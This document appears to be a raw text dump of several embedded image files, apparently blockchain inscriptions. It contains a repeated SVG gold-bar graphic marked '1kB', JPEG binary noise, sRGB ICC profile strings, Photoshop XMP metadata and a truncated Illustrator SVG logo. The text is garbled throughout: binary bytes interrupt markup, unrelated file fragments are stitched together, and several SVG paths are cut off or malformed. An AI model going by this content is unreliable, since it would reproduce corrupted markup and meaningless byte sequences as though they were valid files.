9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
((((((((((((((((((((((((((((((((((((((((((((((((((
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
%!'&$!$#).;2),8,#$3F48=?BCB(1HMH@M;AB?
?*$*??????????????????????????????????????????????????
&70986054<DVI<@RA45KfLRY\aba:Hjri^qV_a]
,]>5>]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]
'92<;8276?GZL?CUD67NkOU]`efe=KownbvZcea
.aA7Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
 00000000000000000000000000000000000000000000000000
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
fffffffffffffffffffffff`
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
z}S}SwSoCS}C}CC}oC}Svv^^vo;L
XMP DataXMP<?xpacket begin="
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.0 (Windows)" xmpMM:InstanceID="xmpM
.iid:8E3CF27FABF911EDAE47AC1E28C1285A" xmpMM:DocumentID="xmp.did:8E3CF280ABF911EDAE47AC1E28C1285A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8E3CF27DABF911EDAE47AC1E28C1285A" stRef:documentID="xmp.did:8E3CF27EABF911EDAE47AC1E28C1285A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(M
Adobe Photoshop CS6 (Windows)
																														M

%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
#http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http:/M
/ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp:CreateDate="2017-08-30T21:03:18-04:00" xmp:MetadataDate="2017-08-30T22:54:25-04:00" xmp:ModifyDate="2017-08-30T22:54:25-04:00" dc:format="image/jpeg" xmpMM:InstanceID="xmp.iid:039A14CFE48DE711BE08E51114D92DA7" xmpMM:DocumentID="xmp.did:019A14CFE48DE711BE08E51114D92DA7" xmpMM:OriginalDocumentID="xmp.did:019A14M
CFE48DE711BE08E51114D92DA7" photoshop:ColorMode="3"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:019A14CFE48DE711BE08E51114D92DA7" stEvt:when="2017-08-30T21:03:18-04:00" stEvt:softwareAgent="Adobe Photoshop CS6 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:029A14CFE48DE711BE08E51114D92DA7" stEvt:when="2017-08-30T22:54:25-04:00" stEvt:softwareAgent="Adobe Photoshop CS6 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="converted" stEvt:parameters="from aM
pplication/vnd.adobe.photoshop to image/jpeg"/> <rdf:li stEvt:action="derived" stEvt:parameters="converted from application/vnd.adobe.photoshop to image/jpeg"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:039A14CFE48DE711BE08E51114D92DA7" stEvt:when="2017-08-30T22:54:25-04:00" stEvt:softwareAgent="Adobe Photoshop CS6 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:029A14CFE48DE711BE08E51114D92DA7" stRef:documentID="xmp.did:019A14CFE48DE711BE08E51114M
D92DA7" stRef:originalDocumentID="xmp.did:019A14CFE48DE711BE08E51114D92DA7"/> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>xmp.did:49859B0FD38DE711938C9A243F78B370</rdf:li> <rdf:li>xmp.did:C3BF7E25C98DE711938C9A243F78B370</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                          M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                               <?xpacket end="w"?>
http://ns.adobe.com/xap/1.0/
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
lns:xmp="http://ns.adobe.com/xap/1.0/">
         <xmp:ModifyDate>2017-08-30T22:54:25</xmp:ModifyDate>
         <xmp:CreateDate>2017-08-30T21:03:18</xmp:CreateDate>
         <xmp:CreatorTool>Adobe Photoshop CS6 (Windows)</xmp:CreatorTool>
      </rdf:Description>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Adobe Photoshop 22.1 (Windows)
cropWhenPrintingbool
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c005 79.164590, 2020/12/09-11:57:44        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.orM
g/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop 22.1 (Windows)" xmp:CreateDate="2023-02-11T13:49:36+04:00" xmp:MetadataDate="2023-02-11T13:49:36+04:00" xmp:ModifyDate="2023-02-11T13:49:36+04:00" xmpMM:InstanceID="xmp.iid:1d2d14ba-9619-ab49-aa84-cffbf694f82c" xmpMM:DocumentID="adobe:docid:photoshop:f3260cc1-7e9e-d44f-b030-a23cf14d38bc" xmpMM:OriginalDocumentID="xmp.did:bbaaf4bb-00e2-384c-99f1-102f6746d789" dc:format="image/jpeg" photoshop:ColorMode="3"> <xmpMM
M:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:bbaaf4bb-00e2-384c-99f1-102f6746d789" stEvt:when="2023-02-11T13:49:36+04:00" stEvt:softwareAgent="Adobe Photoshop 22.1 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:1d2d14ba-9619-ab49-aa84-cffbf694f82c" stEvt:when="2023-02-11T13:49:36+04:00" stEvt:softwareAgent="Adobe Photoshop 22.1 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                   M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      <?xpacket end="w"?>
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 25.2.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg version="1.1" id="Ebene_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 425.2 425.2" style="enable-background:new 0 0 425.2 425.2;" xml:space="preserve">
<style type="text/css">
	.st0{fill:#EDEDED;stroke:#000000;stroke-width:3;stroke-miterlimit:10;}
	.st1{fill:#198139;}
<circle class="st0" cx="212.6M
" cy="212.6" r="209.76"/>
	<path class="st1" d="M188.89,87.36v45.28h45.28V87.36H188.89z M225.39,123.86l-27.77,0.06V96.09h27.77V123.86z"/>
	<path d="M263.15,88.27c-6.05-23.38-23.95-39.46-45.62-41.06c-25.38-1.88-48.48,12.66-56.29,35.36c-7.47,21.79-4.9,47.51,7.36,74.25
		c7.76,16.94,16.99,30.97,25.15,43.34c5.7,8.67,12.72,16.94,16.48,26.86c3.71,9.87,2.97,22.36-10.09,22.53
		c-4.39,0-9.12-1.14-14.26-3.42l-3.82,9.92c5.13,2.34,11.12,3.54,18.02,3.54c10.95,0,21.44-4.11,22.87-16.25
		c2.22-18.42-10.38-34.85-19.9-49M
.33c-7.93-12.03-16.94-25.72-24.35-41.86c-7.7-16.82-15.23-41.92-6.96-65.98
		c6.16-17.91,24.58-29.37,44.88-27.83c16.82,1.25,30.8,14.09,35.64,32.74c5.19,20.13,2.45,41.92-8.21,64.79
		c-8.04,17.28-17.85,28.69-18.02,28.86l8.38,7.36c0.46-0.51,10.84-12.49,19.56-31.2C265.83,135.84,268.96,110.74,263.15,88.27z"/>
	<path d="M86.59,339.66l0.29-0.8c0.58,0.26,1.08,0.4,1.49,0.4c0.75-0.01,1.13-0.26,1.14-0.74c0-0.17-0.05-0.31-0.14-0.42
		s-0.22-0.2-0.36-0.26c-0.14-0.07-0.34-0.14-0.59-0.22c-0.33-0.11-0.6-0.21-0.8-0.3M
1c-0.21-0.1-0.38-0.26-0.53-0.46
		c-0.15-0.21-0.22-0.48-0.22-0.82c0.01-1.01,0.63-1.52,1.85-1.52c0.56,0,1.05,0.1,1.47,0.29l-0.31,0.81
		c-0.42-0.18-0.8-0.28-1.16-0.28c-0.65,0.01-0.99,0.24-1.01,0.7c0,0.14,0.04,0.25,0.13,0.34c0.09,0.09,0.19,0.16,0.32,0.22
		c0.13,0.06,0.31,0.12,0.54,0.2c0.34,0.11,0.63,0.22,0.84,0.33c0.22,0.11,0.41,0.28,0.57,0.51c0.16,0.23,0.24,0.53,0.24,0.9
		c0,1.04-0.66,1.56-1.98,1.56C87.81,340.08,87.21,339.94,86.59,339.66z"/>
	<path d="M95.42,340.16c-0.2-0.35-0.35-0.71-0.45-1.08c-0.06,0.18-0.1M
8,0.35-0.36,0.5c-0.18,0.15-0.39,0.27-0.64,0.36
		c-0.25,0.09-0.5,0.13-0.75,0.13c-0.36,0-0.68-0.06-0.96-0.17c-0.28-0.11-0.51-0.29-0.67-0.52c-0.17-0.24-0.25-0.53-0.25-0.88
		c0-0.34,0.08-0.64,0.26-0.89c0.17-0.25,0.41-0.44,0.73-0.58c0.31-0.13,0.68-0.2,1.1-0.2c0.5,0,0.98,0.13,1.43,0.39v-0.55
		c0-0.43-0.1-0.75-0.3-0.95c-0.2-0.2-0.5-0.3-0.9-0.3c-0.15,0-0.37,0.01-0.65,0.04c-0.28,0.02-0.55,0.05-0.8,0.09l-0.15-0.89
		c0.44-0.05,0.79-0.09,1.04-0.11c0.25-0.02,0.46-0.03,0.63-0.03c0.66,0,1.16,0.17,1.5,0.52c0.34,0.35,0.51,0M
.87,0.52,1.55l0.01,1.57
		c0,0.53,0.16,1.08,0.47,1.64L95.42,340.16z M94.17,339.09c0.21-0.1,0.38-0.24,0.5-0.42c0.12-0.18,0.18-0.39,0.18-0.62V338
		c-0.18-0.1-0.38-0.18-0.6-0.24c-0.22-0.06-0.45-0.08-0.69-0.08c-0.39,0-0.7,0.07-0.93,0.2c-0.23,0.14-0.35,0.32-0.35,0.56
		c0,0.16,0.05,0.29,0.14,0.41c0.1,0.12,0.23,0.21,0.4,0.28c0.17,0.07,0.37,0.1,0.6,0.1C93.71,339.24,93.96,339.19,94.17,339.09z"/>
	<path d="M96.6,334.65h0.95l1.41,3.63c0.03,0.07,0.07,0.21,0.12,0.4c0.05,0.2,0.08,0.32,0.08,0.38h0.02
		c0.01-0.08,0.03-0.21M
,0.07-0.4c0.04-0.19,0.07-0.31,0.09-0.36l1.48-3.66h0.98l-2.22,5.32h-0.87L96.6,334.65z"/>
	<path d="M106.02,339.17c0.27-0.05,0.54-0.13,0.81-0.24l0.28,0.76c-0.26,0.11-0.58,0.2-0.98,0.27c-0.39,0.07-0.75,0.11-1.08,0.11
		c-0.85,0-1.52-0.23-1.99-0.69c-0.47-0.46-0.71-1.16-0.71-2.12c0-0.59,0.1-1.1,0.31-1.51c0.21-0.41,0.51-0.73,0.9-0.94
		s0.87-0.32,1.42-0.32c0.49,0,0.9,0.11,1.23,0.34c0.33,0.23,0.57,0.52,0.73,0.89c0.16,0.36,0.24,0.75,0.24,1.17
		c0,0.29-0.04,0.57-0.12,0.86l-3.78,0.03c0.08,0.49,0.28,0.86,0.61,1.11s0.77,0M
		C105.49,339.25,105.75,339.22,106.02,339.17z M103.72,335.79c-0.26,0.3-0.41,0.7-0.45,1.2l2.94-0.03c0.01-0.09,0.01-0.15,0.01-0.2
		c0-0.25-0.04-0.48-0.14-0.69c-0.09-0.22-0.24-0.39-0.44-0.53c-0.2-0.14-0.46-0.2-0.77-0.2
		C104.37,335.34,103.98,335.49,103.72,335.79z"/>
	<path d="M111.11,341.74c0.31-0.07,0.57-0.17,0.78-0.29s0.39-0.29,0.54-0.49c0.15-0.2,0.28-0.46,0.4-0.78l0.1-0.26l-2.13-5.26h1.04
		l1.43,3.79l0.11,0.42h0.03l0.11-0.41l1.5-3.8l1.04-0.01l-2.47,6.05c-0.19,0.47-0.39,0.84-0.62,1.09c-0.23,0.2M
5-0.46,0.42-0.68,0.51
		c-0.23,0.09-0.51,0.17-0.86,0.25l-0.11,0.02L111.11,341.74z"/>
	<path d="M117.93,339.74c-0.42-0.23-0.74-0.55-0.97-0.97c-0.23-0.42-0.35-0.9-0.35-1.45c0-0.55,0.12-1.04,0.35-1.47
		s0.55-0.75,0.97-0.98c0.42-0.23,0.9-0.35,1.45-0.35c0.54,0,1.01,0.12,1.42,0.35c0.41,0.23,0.72,0.56,0.95,0.98
		c0.22,0.42,0.33,0.91,0.33,1.47c0,0.55-0.11,1.03-0.33,1.45c-0.22,0.42-0.54,0.74-0.95,0.97c-0.41,0.23-0.88,0.34-1.42,0.34
		C118.83,340.08,118.35,339.97,117.93,339.74z M120.29,338.99c0.26-0.16,0.47-0.38,0.61-M
0.67c0.15-0.29,0.22-0.62,0.23-1
		c-0.01-0.38-0.09-0.72-0.23-1.02c-0.15-0.29-0.35-0.52-0.61-0.68s-0.56-0.24-0.9-0.24c-0.36,0-0.68,0.08-0.96,0.25
		c-0.28,0.16-0.49,0.39-0.64,0.68c-0.15,0.29-0.23,0.63-0.23,1.02c0,0.38,0.08,0.71,0.23,0.99s0.36,0.51,0.64,0.66
		c0.28,0.16,0.6,0.23,0.96,0.23C119.72,339.22,120.02,339.15,120.29,338.99z"/>
	<path d="M127.7,340.16c-0.21-0.38-0.36-0.73-0.45-1.07c-0.05,0.15-0.16,0.3-0.31,0.45c-0.15,0.15-0.35,0.27-0.6,0.38
		c-0.24,0.1-0.52,0.15-0.83,0.15c-0.51,0-0.92-0.1-1.24-0.3c-0.31-M
0.2-0.54-0.46-0.67-0.77c-0.13-0.32-0.2-0.67-0.2-1.05v-3.29h0.89
		v3.01c0,0.47,0.1,0.85,0.3,1.14s0.57,0.43,1.12,0.43c0.41,0,0.75-0.1,1.02-0.29s0.4-0.52,0.4-0.97v-3.33h0.89v3.5
		c0,0.53,0.16,1.08,0.47,1.64L127.7,340.16z"/>
	<path d="M132.05,334.52c0.16,0,0.33,0.02,0.51,0.05l-0.15,0.85c-0.1-0.01-0.2-0.02-0.3-0.02c-0.56,0-1.03,0.17-1.4,0.52v4.03h-0.89
		v-5.29h0.67l0.12,0.51C130.99,334.73,131.46,334.52,132.05,334.52z"/>
	<path class="st1" d="M140.76,334.83c0.36,0.21,0.63,0.51,0.81,0.91s0.28,0.88,0.28,1.44c0,0.59M
		c-0.2,0.43-0.49,0.77-0.87,1s-0.86,0.35-1.41,0.35c-0.86,0-1.41-0.32-1.65-0.95v3.37h-0.9v-7.85h0.66l0.21,0.67
		c0.24-0.26,0.52-0.46,0.84-0.6c0.32-0.14,0.66-0.21,1.02-0.21C139.97,334.51,140.4,334.62,140.76,334.83z M140.14,339.02
		c0.23-0.14,0.42-0.37,0.55-0.68s0.2-0.7,0.2-1.17c0-0.56-0.13-1-0.4-1.3c-0.27-0.31-0.64-0.46-1.13-0.46
		c-0.28,0-0.57,0.05-0.87,0.14c-0.3,0.1-0.59,0.23-0.87,0.4v1.72c0,0.4,0.09,0.71,0.28,0.95s0.41,0.4,0.67,0.48
		c0.26,0.09,0.51,0.13,0.76,0.13C139.64,339.24,139.91,3M
39.17,140.14,339.02z"/>
	<path class="st1" d="M143.27,331.71h0.89v8.24h-0.89V331.71z"/>
	<path class="st1" d="M149.64,340.16c-0.2-0.35-0.35-0.71-0.45-1.08c-0.06,0.18-0.18,0.35-0.36,0.5c-0.18,0.15-0.39,0.27-0.64,0.36
		c-0.25,0.09-0.5,0.13-0.75,0.13c-0.36,0-0.68-0.06-0.96-0.17c-0.28-0.11-0.51-0.29-0.67-0.52c-0.17-0.24-0.25-0.53-0.25-0.88
		c0-0.34,0.08-0.64,0.26-0.89c0.17-0.25,0.41-0.44,0.73-0.58c0.31-0.13,0.68-0.2,1.1-0.2c0.5,0,0.98,0.13,1.43,0.39v-0.55
		c0-0.43-0.1-0.75-0.3-0.95c-0.2-0.2-0.5-0.3-0.9-0.3c-0.1M
5,0-0.37,0.01-0.65,0.04c-0.28,0.02-0.55,0.05-0.8,0.09l-0.15-0.89
		c0.44-0.05,0.79-0.09,1.04-0.11c0.25-0.02,0.46-0.03,0.63-0.03c0.66,0,1.16,0.17,1.5,0.52c0.34,0.35,0.51,0.87,0.52,1.55l0.01,1.57
		c0,0.53,0.16,1.08,0.47,1.64L149.64,340.16z M148.39,339.09c0.21-0.1,0.38-0.24,0.5-0.42c0.12-0.18,0.18-0.39,0.18-0.62V338
		c-0.18-0.1-0.38-0.18-0.6-0.24c-0.22-0.06-0.45-0.08-0.69-0.08c-0.39,0-0.7,0.07-0.93,0.2c-0.23,0.14-0.35,0.32-0.35,0.56
		c0,0.16,0.05,0.29,0.14,0.41c0.1,0.12,0.23,0.21,0.4,0.28c0.17,0.07,0.37,0.1,0.6M
,0.1C147.93,339.24,148.18,339.19,148.39,339.09z"
	<path class="st1" d="M155.3,334.78c0.31,0.18,0.55,0.43,0.71,0.75s0.24,0.68,0.24,1.1v3.31h-0.89v-3.06c0-0.45-0.1-0.81-0.29-1.09
		c-0.19-0.28-0.5-0.42-0.94-0.43c-0.31,0-0.6,0.06-0.88,0.17s-0.52,0.27-0.73,0.46l-0.01,3.95h-0.89l0.01-5.29h0.66l0.17,0.53
		c0.42-0.45,0.98-0.67,1.67-0.67C154.6,334.51,154.99,334.6,155.3,334.78z"/>
	<path class="st1" d="M161.2,339.17c0.27-0.05,0.54-0.13,0.81-0.24l0.28,0.76c-0.26,0.11-0.58,0.2-0.98,0.27
		c-0.39,0.07-0.75,0.11-1.0M
8,0.11c-0.85,0-1.52-0.23-1.99-0.69c-0.47-0.46-0.71-1.16-0.71-2.12c0-0.59,0.1-1.1,0.31-1.51
		c0.21-0.41,0.51-0.73,0.9-0.94s0.87-0.32,1.42-0.32c0.49,0,0.9,0.11,1.23,0.34c0.33,0.23,0.57,0.52,0.73,0.89
		c0.16,0.36,0.24,0.75,0.24,1.17c0,0.29-0.04,0.57-0.12,0.86l-3.78,0.03c0.08,0.49,0.28,0.86,0.61,1.11s0.77,0.37,1.34,0.37
		C160.68,339.25,160.93,339.22,161.2,339.17z M158.91,335.79c-0.26,0.3-0.41,0.7-0.45,1.2l2.94-0.03c0.01-0.09,0.01-0.15,0.01-0.2
		c0-0.25-0.04-0.48-0.14-0.69c-0.09-0.22-0.24-0.39-0.44-0.53c-0.2-0.1M
		C159.55,335.34,159.17,335.49,158.91,335.79z"/>
	<path class="st1" d="M164.87,335.45v2.86c0,0.16,0.04,0.31,0.11,0.46c0.07,0.15,0.18,0.27,0.32,0.37c0.15,0.1,0.32,0.14,0.53,0.14
		c0.15,0,0.31-0.01,0.49-0.04v0.8c-0.24,0.02-0.47,0.03-0.72,0.03c-0.34,0-0.62-0.07-0.86-0.22s-0.41-0.34-0.53-0.58
		c-0.12-0.25-0.18-0.52-0.18-0.81v-3.02h-0.96v-0.79h0.96v-1.9h0.84v1.9h1.46v0.79H164.87z"/>
	<path d="M173.5,336.77h2.97v0.7h-2.97V336.77z"/>
	<path d="M183.73,339.66l0.29-0.8c0.58,0.26,1.08,0.4,1.49,0.4M
c0.75-0.01,1.13-0.26,1.14-0.74c0-0.17-0.05-0.31-0.14-0.42
		s-0.22-0.2-0.36-0.26c-0.14-0.07-0.34-0.14-0.59-0.22c-0.33-0.11-0.6-0.21-0.8-0.31c-0.21-0.1-0.38-0.26-0.53-0.46
		c-0.15-0.21-0.22-0.48-0.22-0.82c0.01-1.01,0.63-1.52,1.85-1.52c0.56,0,1.05,0.1,1.47,0.29l-0.31,0.81
		c-0.42-0.18-0.8-0.28-1.16-0.28c-0.65,0.01-0.99,0.24-1.01,0.7c0,0.14,0.04,0.25,0.13,0.34c0.09,0.09,0.19,0.16,0.32,0.22
		c0.13,0.06,0.31,0.12,0.54,0.2c0.34,0.11,0.63,0.22,0.84,0.33c0.22,0.11,0.41,0.28,0.57,0.51c0.16,0.23,0.24,0.53,0.24,0.9
c0,1.04-0.66,1.56-1.98,1.56C184.94,340.08,184.35,339.94,183.73,339.66z"/>
	<path d="M192.56,340.16c-0.2-0.35-0.35-0.71-0.45-1.08c-0.06,0.18-0.18,0.35-0.36,0.5c-0.18,0.15-0.39,0.27-0.64,0.36
		c-0.25,0.09-0.5,0.13-0.75,0.13c-0.36,0-0.68-0.06-0.96-0.17c-0.28-0.11-0.51-0.29-0.67-0.52c-0.17-0.24-0.25-0.53-0.25-0.88
		c0-0.34,0.08-0.64,0.26-0.89c0.17-0.25,0.41-0.44,0.73-0.58c0.31-0.13,0.68-0.2,1.1-0.2c0.5,0,0.98,0.13,1.43,0.39v-0.55
		c0-0.43-0.1-0.75-0.3-0.95c-0.2-0.2-0.5-0.3-0.9-0.3c-0.15,0-0.37,0.01-0.65,0.04c-0.M
28,0.02-0.55,0.05-0.8,0.09l-0.15-0.89
		c0.44-0.05,0.79-0.09,1.04-0.11c0.25-0.02,0.46-0.03,0.63-0.03c0.66,0,1.16,0.17,1.5,0.52c0.34,0.35,0.51,0.87,0.52,1.55l0.01,1.57
		c0,0.53,0.16,1.08,0.47,1.64L192.56,340.16z M191.31,339.09c0.21-0.1,0.38-0.24,0.5-0.42c0.12-0.18,0.18-0.39,0.18-0.62V338
		c-0.18-0.1-0.38-0.18-0.6-0.24c-0.22-0.06-0.45-0.08-0.69-0.08c-0.39,0-0.7,0.07-0.93,0.2c-0.23,0.14-0.35,0.32-0.35,0.56
		c0,0.16,0.05,0.29,0.14,0.41c0.1,0.12,0.23,0.21,0.4,0.28c0.17,0.07,0.37,0.1,0.6,0.1C190.85,339.24,191.09,3M
39.19,191.31,339.09z"
	<path d="M193.73,334.65h0.95l1.41,3.63c0.03,0.07,0.07,0.21,0.12,0.4c0.05,0.2,0.08,0.32,0.08,0.38h0.02
		c0.01-0.08,0.03-0.21,0.07-0.4c0.04-0.19,0.07-0.31,0.09-0.36l1.48-3.66h0.98l-2.22,5.32h-0.87L193.73,334.65z"/>
	<path d="M203.15,339.17c0.27-0.05,0.54-0.13,0.81-0.24l0.28,0.76c-0.26,0.11-0.58,0.2-0.98,0.27c-0.39,0.07-0.75,0.11-1.08,0.11
		c-0.85,0-1.52-0.23-1.99-0.69c-0.47-0.46-0.71-1.16-0.71-2.12c0-0.59,0.1-1.1,0.31-1.51c0.21-0.41,0.51-0.73,0.9-0.94
		s0.87-0.32,1.42-0.32c0.49,0,M
0.9,0.11,1.23,0.34c0.33,0.23,0.57,0.52,0.73,0.89c0.16,0.36,0.24,0.75,0.24,1.17
		c0,0.29-0.04,0.57-0.12,0.86l-3.78,0.03c0.08,0.49,0.28,0.86,0.61,1.11s0.77,0.37,1.34,0.37
		C202.62,339.25,202.88,339.22,203.15,339.17z M200.85,335.79c-0.26,0.3-0.41,0.7-0.45,1.2l2.94-0.03c0.01-0.09,0.01-0.15,0.01-0.2
		c0-0.25-0.04-0.48-0.14-0.69c-0.09-0.22-0.24-0.39-0.44-0.53c-0.2-0.14-0.46-0.2-0.77-0.2
		C201.5,335.34,201.11,335.49,200.85,335.79z"/>
	<path d="M208.24,341.74c0.31-0.07,0.57-0.17,0.78-0.29s0.39-0.29,0.54-0.49c0.15-M
0.2,0.28-0.46,0.4-0.78l0.1-0.26l-2.13-5.26h1.04
		l1.43,3.79l0.11,0.42h0.03l0.11-0.41l1.5-3.8l1.04-0.01l-2.47,6.05c-0.19,0.47-0.39,0.84-0.62,1.09c-0.23,0.25-0.46,0.42-0.68,0.51
		c-0.23,0.09-0.51,0.17-0.86,0.25l-0.11,0.02L208.24,341.74z"/>
	<path d="M215.06,339.74c-0.42-0.23-0.74-0.55-0.97-0.97c-0.23-0.42-0.35-0.9-0.35-1.45c0-0.55,0.12-1.04,0.35-1.47
		s0.55-0.75,0.97-0.98c0.42-0.23,0.9-0.35,1.45-0.35c0.54,0,1.01,0.12,1.42,0.35c0.41,0.23,0.72,0.56,0.95,0.98
		c0.22,0.42,0.33,0.91,0.33,1.47c0,0.55-0.11,1.03-0.3M
3,1.45c-0.22,0.42-0.54,0.74-0.95,0.97c-0.41,0.23-0.88,0.34-1.42,0.34
		C215.96,340.08,215.48,339.97,215.06,339.74z M217.42,338.99c0.26-0.16,0.47-0.38,0.61-0.67c0.15-0.29,0.22-0.62,0.23-1
